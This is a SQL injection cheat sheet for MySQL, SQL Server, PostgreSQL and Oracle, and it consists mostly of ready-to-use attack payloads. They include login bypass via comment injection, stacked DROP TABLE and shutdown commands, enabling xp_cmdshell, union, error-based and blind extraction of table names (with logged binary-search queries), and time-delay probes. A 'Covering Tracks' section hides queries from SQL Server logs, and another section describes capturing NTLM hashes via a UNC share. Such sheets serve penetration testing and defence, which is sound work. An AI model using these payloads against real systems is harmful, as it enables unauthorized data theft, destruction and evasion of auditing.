SQL Injection Cheat Sheet

About SQL Injection Cheat Sheet

Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.

M :

MySQL

S :

SQL Server

P :

PostgreSQL

O :

Oracle

+ :

Possibly all other databases

Examples;

(MS) means : MySQL and SQL Server etc.

(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

-- (SM)DROP sampletable;--

# (M)DROP sampletable;#

Line Comments Sample SQL Injection Attacks

Username: admin'--

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

/*Comment Here*/ (SM)

DROP/*comment*/sampletable

DR/**/OP/*bypass blacklisting*/sampletable

SELECT/*avoid-spaces*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M) This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

ID:10; DROP TABLE members /*Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

SELECT /*!32302 1/0, */ 1 FROM tablenameWill throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks

ID:/*!32302 10*/

ID:10You will get the same response if MySQL version is higher than 3.23.02

SELECT /*!32302 1/0, */ 1 FROM tablenameWill throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

; (S) SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Server

MySQL

PostgreSQL

ORACLE

MS Access

ASP

ASP.NET

PHP

Java

About MySQL and PHP;To clarify some issues; PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples

ID:10;DROP members --

SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

SQL Server (S) Use fieldCOLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --and so on

If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY(MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

ORDER BY 1--

ORDER BY 2--

ORDER BY N--so on

Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.

To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.

Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Simple Insert (MSO+)

@@version (MS) Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

SQL Injection in LIMIT (M) or ORDER (MSO)

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1 RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving records (S)

Modify WHERE and use NOT IN or NOT EXIST, ... WHERE users NOT IN ('First User', 'Second User')SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)-- very good one

Using Dirty Tricks SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.

Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

Are we 'sa' ? if (select user) = 'sa' waitfor delay '0:0:10'

ProductID = 1;waitfor delay '0:0:10'--

ProductID =1);waitfor delay '0:0:10'--

ProductID =1';waitfor delay '0:0:10'--

ProductID =1');waitfor delay '0:0:10'--

ProductID =1));waitfor delay '0:0:10'--

ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

Are we root ? woot! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

SELECT pg_sleep(10); Sleep 10 seconds.

Covering Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

Second Order SQL Injections

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Check out Bulk Insert Reference to understand how can you use bulk insert.

References

Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.

To Do / Contact / Help

I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).